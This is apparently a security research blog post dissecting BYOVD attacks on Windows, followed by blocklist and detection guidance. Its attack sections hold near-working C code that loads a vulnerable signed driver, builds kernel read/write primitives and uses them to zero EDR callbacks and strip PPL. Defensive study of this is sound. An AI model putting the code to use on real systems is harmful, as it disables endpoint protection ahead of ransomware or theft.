TL;DR — BYOVD exploits the fact that a legitimately signed kernel driver can contain exploitable vulnerabilities. Attackers load a signed-but-vulnerable third-party driver to obtain arbitrary kernel read/write or code execution, then weaponize that primitive to silence EDR drivers, strip PPL protections, and wipe kernel callback tables — all while passing every driver signature check. This post dissects the full attack chain from driver loading through callback removal, with reference to real-world malware families that have deployed this technique.
Executive Summary
Endpoint detection and response platforms live in kernel space. Their sensors hook process creation, network connections, file operations, and registry writes through registered kernel callbacks. To bypass these sensors without triggering user-mode detections, advanced threat actors moved their battle to ring-0 years ago. The BYOVD class of attack elegantly sidesteps Microsoft's kernel signing requirement: instead of loading an unsigned rootkit, the attacker loads a legitimately signed driver that happens to expose a dangerous IOCTL interface — effectively turning a legitimate hardware vendor's code into an arbitrary kernel memory editor.
The technique has graduated from APT-exclusive tooling to commodity ransomware. BlackByte ransomware deployed RTCore64.sys (a legitimate MSI graphics utility driver) in 2022. Lazarus Group leveraged mhyprot2.sys (the anti-cheat driver for Genshin Impact) as a kernel read/write primitive during the same period. The LOLDrivers project (loldrivers.io) catalogues over 700 known vulnerable or malicious signed drivers. Microsoft's Vulnerable Driver Blocklist, shipped with HVCI, attempts to combat the problem at policy level.
This post covers the end-to-end attack chain: driver acquisition and loading, IOCTL-based R/W primitive construction, EDR process deprotection via _EPROCESS manipulation, kernel callback table enumeration and nullification, and the defenses defenders can layer to detect or block each stage.
Threat Model and Pre-Conditions
BYOVD requires the following conditions to be satisfied:
| Condition | Notes |
|---|---|
| Local administrator privileges | Required for NtLoadDriver / sc.exe driver load |
| Driver signing not enforced by HVCI / WDAC blocklist | Target driver must not appear on the Microsoft block list |
| Vulnerable driver binary available | Pre-staged or downloaded during operation |
| Target OS: Windows x64 | Ring-0 primitive is architecture-specific |
| SecureBoot + Hypervisor-Protected Code Integrity (HVCI) disabled | HVCI prevents loading drivers not on the WHQL allow-list when enabled |
When HVCI is disabled (still common in enterprise environments due to compatibility concerns), the Kernel Mode Code Signing (KMCS) policy only requires a valid Authenticode signature — and the attacker's chosen driver provides exactly that.
graph TD
A[Attacker has Local Admin] --> B[Stage vulnerable signed driver]
B --> C{HVCI / WDAC blocklist?}
C -->|Blocked| D[Select alternative driver or disable HVCI via firmware]
C -->|Not blocked| E[Load driver via NtLoadDriver or sc.exe]
E --> F[Send IOCTL with kernel R/W primitive]
F --> G[Enumerate PspCreateProcessNotifyRoutine table]
G --> H[Zero out EDR callback pointers]
F --> I[Locate EDR EPROCESS structure]
I --> J[Clear Protection.Level field]
J --> K[TerminateProcess on EDR]
K --> L[EDR dead — deploy payload]Driver Loading: NtLoadDriver vs Service Control Manager
Two practical methods exist to load a kernel driver from user space.
Method 1: Service Control Manager (sc.exe / CreateService)
The canonical approach. The driver is registered as a kernel-mode service, then started.
#include <windows.h>#include <stdio.h> BOOL LoadKernelDriver(LPCWSTR driverPath, LPCWSTR serviceName) { SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (!hSCM) return FALSE; SC_HANDLE hSvc = CreateServiceW( hSCM, serviceName, // "RTCore64" serviceName, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driverPath, // L"\\??\\C:\\Temp\\RTCore64.sys" NULL, NULL, NULL, NULL, NULL ); if (!hSvc) { // Service may already exist — attempt to open it hSvc = OpenServiceW(hSCM, serviceName, SERVICE_ALL_ACCESS); if (!hSvc) { CloseServiceHandle(hSCM); return FALSE; } } BOOL started = StartServiceW(hSvc, 0, NULL); CloseServiceHandle(hSvc); CloseServiceHandle(hSCM); return started || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;}Method 2: NtLoadDriver (lower-level, fewer API hooks)
NtLoadDriver directly invokes the kernel, bypassing the SCM. It expects a registry path under HKLM\SYSTEM\CurrentControlSet\Services\<name>. The advantage is that many EDR products hook CreateService at the Win32 layer but not the raw NT syscall path.
#include <winternl.h> typedef NTSTATUS(NTAPI* _NtLoadDriver)(PUNICODE_STRING DriverServiceName); NTSTATUS LoadDriverNt(LPCWSTR registryPath) { HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); _NtLoadDriver NtLoadDriver = (_NtLoadDriver)GetProcAddress(hNtdll, "NtLoadDriver"); // registryPath: L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\RTCore64" UNICODE_STRING uRegPath; RtlInitUnicodeString(&uRegPath, registryPath); return NtLoadDriver(&uRegPath);}Before calling NtLoadDriver, the attacker must manually create the required registry keys (ImagePath, Type = 1).
Anatomy of the IOCTL R/W Primitive
Once the driver is loaded, the attacker communicates with it via DeviceIoControl. The vulnerable driver exposes IOCTL codes that perform unchecked kernel memory operations. RTCore64.sys, for example, exposes IOCTLs that ultimately call MmMapIoSpace or directly dereference caller-supplied physical/virtual addresses.
RTCore64.sys IOCTL-based read/write (reconstructed from public research):
#define RTCORE64_DEVICE L"\\\\.\\RTCore64"#define IOCTL_RTCORE_READ_MEM 0x80002048#define IOCTL_RTCORE_WRITE_MEM 0x8000204c typedef struct _RTCORE64_MEMORY_READ { BYTE pad0[8]; QWORD address; // target virtual address BYTE pad1[4]; DWORD readSize; // 1, 2, 4, or 8 bytes QWORD value; // output BYTE pad2[16];} RTCORE64_MEMORY_READ; QWORD KernelRead(HANDLE hDevice, QWORD address, DWORD size) { RTCORE64_MEMORY_READ req = {0}; req.address = address; req.readSize = size; DWORD bytesReturned; DeviceIoControl(hDevice, IOCTL_RTCORE_READ_MEM, &req, sizeof(req), &req, sizeof(req), &bytesReturned, NULL); return req.value;} VOID KernelWrite(HANDLE hDevice, QWORD address, QWORD value, DWORD size) { typedef struct { BYTE pad0[8]; QWORD address; BYTE pad1[4]; DWORD writeSize; QWORD value; BYTE pad2[16]; } RTCORE64_MEMORY_WRITE; RTCORE64_MEMORY_WRITE req = {0}; req.address = address; req.writeSize = size; req.value = value; DWORD bytesReturned; DeviceIoControl(hDevice, IOCTL_RTCORE_WRITE_MEM, &req, sizeof(req), &req, sizeof(req), &bytesReturned, NULL);}With these two primitives available, the attacker has an unconstrained kernel memory editor running entirely within a legitimate signed driver context.
Locating the Kernel Base and Symbol Resolution
Most BYOVD exploits require knowing kernel symbol addresses at runtime. The standard technique uses NtQuerySystemInformation with SystemModuleInformation (class 11) to obtain the loaded base address of ntoskrnl.exe, then resolves internal symbols either by parsing the export directory or by loading a copy of the kernel from disk and performing offset arithmetic.
#include <winternl.h> typedef struct _SYSTEM_MODULE { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256];} SYSTEM_MODULE; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION; QWORD GetKernelBase() { ULONG needed = 0; NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, NULL, 0, &needed); BYTE* buf = (BYTE*)malloc(needed); NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, buf, needed, &needed); SYSTEM_MODULE_INFORMATION* info = (SYSTEM_MODULE_INFORMATION*)buf; QWORD base = (QWORD)info->Modules[0].ImageBase; // ntoskrnl is index 0 free(buf); return base;} // Resolve offset from on-disk copy, then apply to in-memory baseQWORD ResolveKernelSymbol(QWORD kernelBase, LPCSTR symbolName) { HMODULE hDisk = LoadLibraryExW( L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES ); QWORD diskBase = (QWORD)hDisk; QWORD diskAddr = (QWORD)GetProcAddress(hDisk, symbolName); QWORD offset = diskAddr - diskBase; FreeLibrary(hDisk); return kernelBase + offset;}Kernel Callback Table Enumeration and Removal
Windows notifies kernel drivers of process/thread creation events via the PspCreateProcessNotifyRoutine array. This is an array of EX_CALLBACK_ROUTINE_BLOCK pointers stored in ntoskrnl's data section. EDR products register callbacks here via PsSetCreateProcessNotifyRoutineEx.
The array holds up to 64 entries (PSP_MAX_CREATE_PROCESS_NOTIFY = 64). Each non-null entry is a pointer to an EX_CALLBACK structure (the low 4 bits are used as a reference count and must be masked off).
// Walk PspCreateProcessNotifyRoutine and null out EDR callbacks #define MAX_CALLBACKS 64 typedef struct _EX_CALLBACK_ROUTINE_BLOCK { EX_RUNDOWN_REF RundownProtect; PEX_CALLBACK_FUNCTION Function; // The actual callback address PVOID Context;} EX_CALLBACK_ROUTINE_BLOCK; void NukeProcessCallbacks(HANDLE hDevice, QWORD kernelBase) { // Get address of PspCreateProcessNotifyRoutine array // (not exported — calculate from known offset or scan signature) QWORD arrayAddr = ResolveKernelSymbol(kernelBase, "PsSetCreateProcessNotifyRoutine"); // Walk back to array start using signature scan via R primitive... // For brevity, assume arrayAddr points directly to the array for (int i = 0; i < MAX_CALLBACKS; i++) { QWORD entryAddr = arrayAddr + (i * sizeof(QWORD)); QWORD rawPtr = KernelRead(hDevice, entryAddr, 8); if (!rawPtr) continue; // Mask off low 4 bits (reference count flags) QWORD routineBlock = rawPtr & ~0xFULL; // Read the module base of the callback function QWORD callbackFn = KernelRead(hDevice, routineBlock + offsetof(EX_CALLBACK_ROUTINE_BLOCK, Function), 8); // Check if callback belongs to EDR driver (compare to known base ranges) // For a complete implementation, resolve each callback module via // PsLoadedModuleList walk and compare base/size printf("[*] Callback[%d]: 0x%llx -> fn: 0x%llx\n", i, routineBlock, callbackFn); // Zero the array entry to remove the callback KernelWrite(hDevice, entryAddr, 0, 8); }}The same technique applies to PspCreateThreadNotifyRoutine and PspLoadImageNotifyRoutine. After zeroing these arrays, the EDR sensor receives no further process/thread/image-load events.
PPL Bypass via EPROCESS Manipulation
Windows Protected Process Light (PPL) prevents non-PPL processes from opening handles to protected processes with write access. EDR products run at PsProtectedSignerAntimalware-Light or higher. A standard OpenProcess(PROCESS_TERMINATE, ...) from an unprotected process fails with ERROR_ACCESS_DENIED.
The _EPROCESS structure (the kernel's per-process object) contains a Protection field at a well-known offset that encodes the protection level. Setting this byte to zero removes PPL protection.
// EPROCESS.Protection offsets (Windows 10/11 — verify per build via WinDbg dt nt!_PS_PROTECTION)// Typical offsets: Win10 2004 = 0x87A, Win11 22H2 = 0x87A (varies by build)#define EPROCESS_PROTECTION_OFFSET 0x87A // dt nt!_EPROCESS Protection QWORD FindEprocessByPid(HANDLE hDevice, QWORD kernelBase, DWORD targetPid) { // PsInitialSystemProcess exported symbol points to EPROCESS of System (PID 4) QWORD sysEprocessPtr = ResolveKernelSymbol(kernelBase, "PsInitialSystemProcess"); QWORD eprocess = KernelRead(hDevice, sysEprocessPtr, 8); // Walk ActiveProcessLinks LIST_ENTRY (offset varies — use public symbol offsets) #define EPROCESS_LINKS_OFFSET 0x448 // Win11 22H2 #define EPROCESS_PID_OFFSET 0x440 QWORD flink = KernelRead(hDevice, eprocess + EPROCESS_LINKS_OFFSET, 8); while (flink != eprocess + EPROCESS_LINKS_OFFSET) { QWORD current = flink - EPROCESS_LINKS_OFFSET; DWORD pid = (DWORD)KernelRead(hDevice, current + EPROCESS_PID_OFFSET, 4); if (pid == targetPid) return current; flink = KernelRead(hDevice, flink, 8); // flink->flink } return 0;} void StripPPL(HANDLE hDevice, QWORD kernelBase, DWORD edRPid) { QWORD eprocess = FindEprocessByPid(hDevice, kernelBase, edRPid); if (!eprocess) return; // Read current protection byte BYTE prot = (BYTE)KernelRead(hDevice, eprocess + EPROCESS_PROTECTION_OFFSET, 1); printf("[*] EDR PID %u EPROCESS=0x%llx Protection=0x%02x\n", edRPid, eprocess, prot); // Zero out protection — process becomes unprotected KernelWrite(hDevice, eprocess + EPROCESS_PROTECTION_OFFSET, 0, 1); printf("[+] Protection cleared. EDR process now terminatable.\n");}Once PPL is stripped, a standard TerminateProcess call succeeds against the EDR process. The EDR kernel driver remains loaded (its DriverUnload is not called), but with its user-mode service dead, alerting and response capabilities are severed.
Attack Flow: Full Kill Chain
sequenceDiagram
participant A as Attacker (Ring-3)
participant S as SCM / NtLoadDriver
participant D as RTCore64.sys (Ring-0)
participant K as ntoskrnl.exe
participant E as EDR Driver
A->>S: CreateService(RTCore64) + StartService()
S->>K: IopLoadDriver() — signature check passes
K-->>D: Driver loaded, DeviceObject created
A->>D: DeviceIoControl(IOCTL_READ, PspCreateProcessNotifyRoutine addr)
D->>K: Read kernel VA (unchecked)
K-->>A: Callback array contents
A->>D: DeviceIoControl(IOCTL_WRITE, zero each EDR callback slot)
D->>K: Write kernel VA (unchecked)
Note over K,E: EDR process/thread callbacks removed
A->>D: DeviceIoControl(IOCTL_READ, EDR EPROCESS + 0x87A)
D->>K: Read Protection byte
A->>D: DeviceIoControl(IOCTL_WRITE, 0x00 to Protection byte)
D->>K: PPL stripped from EDR EPROCESS
A->>A: TerminateProcess(EDR service PID)
Note over E: EDR user-mode service dead
A->>A: Load primary payload (unseen by EDR)Real-World Malware Deployment
BlackByte Ransomware (2022): Embedded RTCore64.sys as a resource in the ransomware binary. Extracted and loaded at runtime. Used the IOCTL R/W primitive to enumerate PspCreateProcessNotifyRoutine and null out 1000+ known EDR/AV callbacks by comparing driver module names against a hardcoded kill list. Post-callback removal, BlackByte killed EDR services and proceeded with encryption.
Lazarus Group — mhyprot2.sys: The Genshin Impact anti-cheat driver (version 2.19.120.0) was signed by miHoYo and exposed arbitrary kernel R/W via two IOCTL codes. Lazarus used it to gain ring-0 memory access for credential dumping (LSASS memory read bypassing PPL), then used a second BYOVD primitive for persistence.
CVE-2018-19320 — Gigabyte GDRV.sys: Exposed an IOCTL accepting a physical address and size, calling MmMapIoSpace with the attacker-controlled arguments, then copying the mapped data back to user mode. A full arbitrary physical memory read/write primitive with zero validation.
// GDRV.sys IOCTL structure (CVE-2018-19320)typedef struct _GDRV_MEMCOPY_INPUT { QWORD physAddress; // physical address to map DWORD size; // bytes to read/write BYTE buffer[0x1000]; // data buffer} GDRV_MEMCOPY_INPUT; // IOCTL 0xC3502808 = read physical memory// IOCTL 0xC350A80C = write physical memory// No validation — any physical address acceptedWDAC / HVCI Driver Block List
Microsoft ships a Vulnerable Driver Blocklist in WDAC policy format. With HVCI (Memory Integrity) enabled, this block list is enforced in the hypervisor — even a kernel-level attacker cannot load a blocked driver because the hypervisor validates the signing certificate against the block policy before permitting the code to execute.
Key policy elements:
<!-- Excerpt from SiPolicy.p7b (WDAC vulnerable driver block list) --><Deny ID="ID_DENY_RTCORE64" FriendlyName="RTCore64.sys" Hash="FA30B8F965E9C3CA..."/><Deny ID="ID_DENY_MHYPROT2" FriendlyName="mhyprot2.sys" Hash="C8F9E3BE5BEB1EE6..."/><Deny ID="ID_DENY_GDRV" FriendlyName="GDRV.sys" Hash="5F139706B87D7CA5..."/>The full block list is available at: C:\Windows\System32\CodeIntegrity\SiPolicy.p7b on systems with HVCI enabled, and programmatically via WDAC APIs. The LOLDrivers project (loldrivers.io) provides a community-maintained superset in WDAC policy XML format, including ~700+ drivers.
Critical limitation: The block list is hash-based and vendor-certificate-based. A new version of a vulnerable driver with the same vulnerability but a different build timestamp produces a different hash and slips past the block list until catalogued.
Defense-in-Depth Against BYOVD
| Layer | Control | Effectiveness |
|---|---|---|
| HVCI (Memory Integrity) | Hypervisor code integrity — blocks unsigned/non-WHQL drivers | High — eliminates most BYOVD if enabled |
| WDAC Vulnerable Driver Blocklist | Hash/cert deny list for known bad drivers | Medium — only covers catalogued drivers |
| LOLDrivers WDAC policy | Community superset of block list | Medium-High — more comprehensive |
| Sysmon Event 6 (DriverLoad) | Logs all driver loads with hash and signature info | Detection only |
| Windows Event 7045 (SCM) | New service installed — triggers on CreateService | Detection only |
| ETW kernel provider | Microsoft-Windows-Kernel-General driver load events | Detection only |
| Audit mode WDAC | Log all driver loads without blocking | Baseline building |
Detection
Windows Event Log — Service Installation (Event ID 7045):
<Event> <System> <EventID>7045</EventID> <Provider Name="Service Control Manager"/> </System> <EventData> <Data Name="ServiceName">RTCore64</Data> <Data Name="ImagePath">C:\Users\Public\RTCore64.sys</Data> <Data Name="ServiceType">kernel mode driver</Data> <Data Name="StartType">demand start</Data> <Data Name="AccountName">LocalSystem</Data> </EventData></Event>Key detection signal: ServiceType = "kernel mode driver" from a path outside %SystemRoot%\System32\drivers\.
Sysmon Event ID 6 (Driver Loaded):
<RuleGroup name="" groupRelation="or"> <DriverLoad onmatch="include"> <Signature condition="is not">Microsoft Windows</Signature> <Signature condition="is not">Microsoft Corporation</Signature> </DriverLoad></RuleGroup>Elastic Detection Rule (KQL):
event.category: driver AND event.action: loaded ANDNOT dll.code_signature.subject_name: ("Microsoft*" OR "Windows*") ANDNOT dll.path: ("C:\\Windows\\System32\\drivers\\*" OR "C:\\Windows\\SysWOW64\\drivers\\*")LOLDrivers hash matching — maintain a YARA rule set or EDR custom IOC feed from loldrivers.io that fires on the SHA256 of known vulnerable drivers at the point of file write (before loading).
Behavioral analytics: Correlate driver load events with subsequent IOCTL calls to newly loaded devices (\Device\RTCore64, \Device\GDRV, \Device\PhysicalMemory etc.) — a user-mode process opening a device handle immediately after a driver load event is high-fidelity.
Conclusion
BYOVD represents one of the most technically sophisticated yet operationally reliable EDR evasion techniques available. The attack path exploits a fundamental tension in the Windows security model: driver signing guarantees code provenance, not code correctness. A signed driver with a memory corruption or arbitrary-IOCTL vulnerability is indistinguishable from a benign signed driver until its dangerous interface is invoked.
The complete kill chain — load signed driver, acquire kernel R/W, enumerate and null callback tables, strip PPL from EDR process, terminate EDR — takes under two seconds of wall-clock time and leaves a minimal forensic footprint if the driver is unloaded after use. Defenders must layer HVCI, WDAC block lists, and behavioral telemetry to have any chance of detecting this technique before the EDR sensor is silenced.
The arms race continues: as block lists grow, threat actors hunt for newly signed vulnerable drivers or target the block list enforcement mechanism itself. Staying current with the LOLDrivers project, enabling HVCI by default, and monitoring driver load events with hash verification are the non-negotiable baselines for any organization facing a sophisticated adversary.